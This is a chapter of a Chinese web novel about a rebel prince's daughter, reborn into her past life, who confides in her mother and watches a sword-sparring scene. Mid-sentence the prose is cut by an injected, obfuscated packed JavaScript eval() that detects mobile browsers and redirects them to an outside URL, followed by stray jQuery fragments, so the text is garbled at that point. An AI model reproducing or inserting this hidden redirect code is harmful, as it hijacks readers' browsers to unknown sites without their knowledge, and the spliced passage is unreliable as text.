15. 幻梦

作品:《重生后和死敌相爱了

    “他不会负我。”


    窗外的风雪未停,院内梧桐枝桠被积雪压得微微作响,可即便风声喧嚣,母亲的答案还是清晰地传入赵延意耳中。


    李月华答得太果决,直到话说出口,才缓缓收紧了抚在女儿发顶的手。


    又是一阵沉默,似是思索了很久,她才低声喃喃道:“你父王与我相扶至今,无论是在何处,都只真心相待…阿意,你怎么会问出这样的话呢?”


    赵延意没有戳破母亲的美梦。


    她抬起头,看向母亲眼底因提及父亲而泛起的柔光,心中莫名刺痛。


    “你父王的确野心勃勃,甚至…能称得上狼子野心,”李月华的声音极轻,落在了寂静的屋内,“可是阿意,纵使他权欲熏心,他也是你的父亲,是我的夫君。”


    “我与他成婚十数载,见过他卸下防备的模样,也受过他毫无保留的庇护,只见过他的真情,从未察觉过他半分虚情假意。你父王待我,从未有过贰心。”


    母亲的喃喃自语仍在继续,不知是说与赵延意,还是说与她自己听。


    “他这般待我,我岂能疑他?”


    赵延意不敢再开口了。


    她想告诉母亲,那些所谓的真情不过都是会被皇权戳破的泡影。可看着母亲坚定却带着一丝脆弱的模样,所有的话都被她咽入腹中。


    经历过前世一切的人,只有她。


    而母亲口中的真情,是她亲身经历的过往,是支撑她的精神支柱。


    她没有勇气亲手击碎母亲十余年来的底气。


    她做不到。


    艰难地扯出一抹笑,赵延意再次拥住母亲,掩盖红透的眼眶,闷着声说道:“娘亲,是阿意多虑了。阿意只是担心…父王权势越盛,心性会变。刚才阿意问的那句话,您不要因为它烦心。”


    赵延意认错的口吻让李月华心头一软,眸底的柔光更甚:“傻阿意,没有人会突然变的,更何况那是你父王。”


    可如果他本性便如此,只是一直在伪装呢?


    这句话赵延意依旧没问出口,反倒是李月华忽然叹了一声。


    “你父王的计划,我无力劝阻。”她望着窗外白茫茫的积雪,神色黯淡,“可如今他入了京,陛下宽仁,愿意给他特赦,若他能与陛下消解隔阂,放下执念,或许…能压下你父王那大逆不道的念头。我们也能安稳度日。”


    安稳度日…


    她刚回到扬州时也是这样想,可这安稳,从来不是等来的,而是要靠自己争来的。


    如今的形势早已岌岌可危。如若父亲的计划失败,他们一家就算侥幸苟活,也只能沦为罪臣家眷,从此亡命天涯,永无宁日。


    她不要过这样的生活,让他们一家只能在颠沛流离中耗尽余生。


    “陛下再宽仁又如何?”赵延意猛地抬起头,语带焦灼,“娘亲,父亲从不将陛下的宽容视作天恩,反倒觉得是陛下的示弱。而今整座扬州城,乃至整个大景,恐怕没几个人不知道父王想谋反的念头。他早已没有回头路了!”


    李月华凝视着面前红着眼眶的女儿,仍不死心:“若是你父王此次进京能顺利归来,或许还有回转的余地…”


    “绝无可能。父王若是平安归来,只会继续筹划他的大计,无人可阻;可倘若结果更坏,他被扣押在皇城…依照父亲的谋划,南境的旧部只怕会立刻揭竿而起。母亲,阿意也不想入那皇城,可是现在,我们也已经没有回头路了!”


    李月华何尝不清楚这些?


    听着女儿终于戳破了自己构筑的扬州幻梦,她彻底松了劲,似是妥协,颓然轻声道:“罢了…那就去吧,随你父王,做一回乱臣贼子。”


    话音刚落,屋内燃烧的炭火突然蹦出几粒火星,落在地面上,转瞬即逝。


    赵延意被这细微的声响震醒,才后知后觉地意识到,方才她竟同母亲全盘吐露出了内心的算计。


    这是两难的境地。


    她似乎明白了,前世的母亲为何会愿意随父亲一同入皇城。


    母亲没得选,她亦没有选择的余地,只能如此。


    握住李月华开始透出凉意的手,赵延意暗下决心。


    即便她改变不了入皇城的命运,可无论如何,这一世她也一定要护住母亲。


    父亲薄情寡义,那她就让母亲慢慢认清现实,只要能让母亲重新振作,便绝不会再重蹈前世的覆辙。


    牢牢握紧母亲的手,赵延意亮着双眸道:


    “娘亲,不管在哪里,我永远都是您的阿意。无论发生什么,阿意都会一直在娘亲的身边。”


    *


    次日辰时,演武场上的练习仍要继续。


    经历了昨日同母亲的谈心,赵延意心里埋着的忧虑更多了。


    赵瑞元换上一身束腰劲装,难得耍起剑来,只是动作颇有些心不在焉。


    看出妹妹神情恍惚,似有心事,他随手挽了个漂亮的剑花,就把剑收回鞘中。


    “怎么了,阿意?还惦记着昨天的事呢?”


    赵延意摇摇头,她的目光不自觉地朝远处长廊的尽头探去,不由蹙起眉头。


    那疯子今日怎的还不来?


    “你在等晏靖安?”赵瑞元顺着她的目光望去,嗤笑一声,“那小子怕不是被你昨日那一剑吓着了,不敢来了吧?什么沙场上历练出来的少年将军,不过如此。”


    赵延意收回目光,瞥了赵瑞元一眼,挑眉弯唇道:“哥哥,你要是觉着他的武艺不过如此,等会儿不妨一试?”


    “不必等。世子现下便可与臣一试。”


    那疯子的耳力竟这般好?


    顺着这清冽的声音望去,赵延意一眼就看见了远处那熟悉的身影。


    晏靖安今日难得不穿一身玄色,而是换了件同她一样颜色的白色劲装,腰间束着一条墨色玉带。远远望去,除了唇上一点朱砂红,整个人几乎快要融进这漫天雪地之中。


    他步履轻缓,步子迈得却大,直到走至赵延意近前,才拱手向这兄妹二人行礼道:“世子、郡主,臣今日来迟了。”


    赵延意的目光再次落在他脖颈上仔细裹着的棉纱,只觉得他今日苍白得可怕,心头难免又生出几分恶念。


    他可别真死在晋王府了。


    心里这般想,赵延意面上却不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950519|192615||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    显,只朝他颔首道:“无妨,便是晏小将军今日不来,我也得体谅你的伤势,不是吗?”


    “郡主真是…妙语连珠。”


    晏靖安直起身,目光落在她脸上,眼底没有半分愠怒,反倒像是真的在夸赞一般,语气平淡无波。


    赵延意一拳像是打在了棉花上,晏靖安不痛不痒地回了她,甚至给的还是句赞誉。


    只可惜这话听在她的耳朵里,瞬间变了味道,让她憋了一口闷气在胸口,不上不下。


    不生气…不生气…


    接下来的计划还得用上他,试探还没开始,可先别把她自己气坏了。


    既然决心要用这疯子,她总要收敛点对他的厌恶。


    可一抬头看见晏靖安那张脸,赵延意还是没忍住攥紧了手中的剑。


    “你若决心要随你父王入皇城,便要替他出份力。”


    昨日在梧桐苑内,母亲略显疲惫的嘱托仍萦绕在她耳畔,压下了杀意的苗头。


    “晏将军现下掌兵南境,他根基深厚,与你父王是生死之交。晏靖安被你父王派来王府,名义上指导你们习武,实则是为着双方传递消息。你需多与他往来沟通,好生维系关系,切莫为小事扰了大局。”


    当时她还想追问,却被母亲抬手打断,语气讳莫如深:“至于其他的,我与晏将军也是旧识,自有分寸。你只需做好自己该做的事,不必多管,更不必多疑。”


    握剑的手被赵延意缓缓松开,她再次抬眼看向晏靖安,语气又复柔和:“多谢夸赞。我这人素来嘴甜会说话,若是晏小将军喜欢,往后在府中,我们倒是可以多聊聊。”


    虽然她已经尽力放软语气,可一旁的赵瑞元还是听出了端倪,他眯眼睨了晏靖安许久,才缓缓开口,捡回了方才被岔开的话头:


    “靖安兄方才说,现下便可与我一试。莫不是真想同我这文弱之人斗上一场?”


    “臣毕竟领了晋王殿下的令,不可白担这夫子的虚名,”晏靖安微微一笑,“昨日郡主的剑术臣已经领教过了,身手利落,天赋极佳…那今日,总得再试试世子的水平。”


    他就知道这厮昨日那话里没安好心。


    赵瑞元恨得牙痒痒,却又不好发难,只能硬着头皮拔出剑来,索性闭上眼喊道:“来吧。”


    好惨。


    赵延意在一旁观望,心底默默念出这两个字。


    果然,赵瑞元那三板斧的功夫,在晏靖安的手下没过几招,便败下阵来。


    输了这局,赵瑞元已是羞恼得面红耳赤,为了在赵延意跟前驳回些面子,急忙说道:“哥哥这不过是逗你开心罢了,你瞧,这一逗,阿意你不就笑起来了?”


    空气静了几分,赵延意这下是真没忍住,笑出了声。


    藏了太久的阴霾被这一笑散了出去,雪光映在她含笑的眉眼间,愈发衬得那张脸莹白明媚。


    晏靖安收剑入鞘,垂眸看向笑靥灼灼的少女,眼神旖旎。


    直到赵延意忽然笑着扫过他的脸,他才收起眼底的情绪,适时向赵瑞元递去台阶:


    “世子天资聪颖,只需勤加练习,日后定能胜过臣。”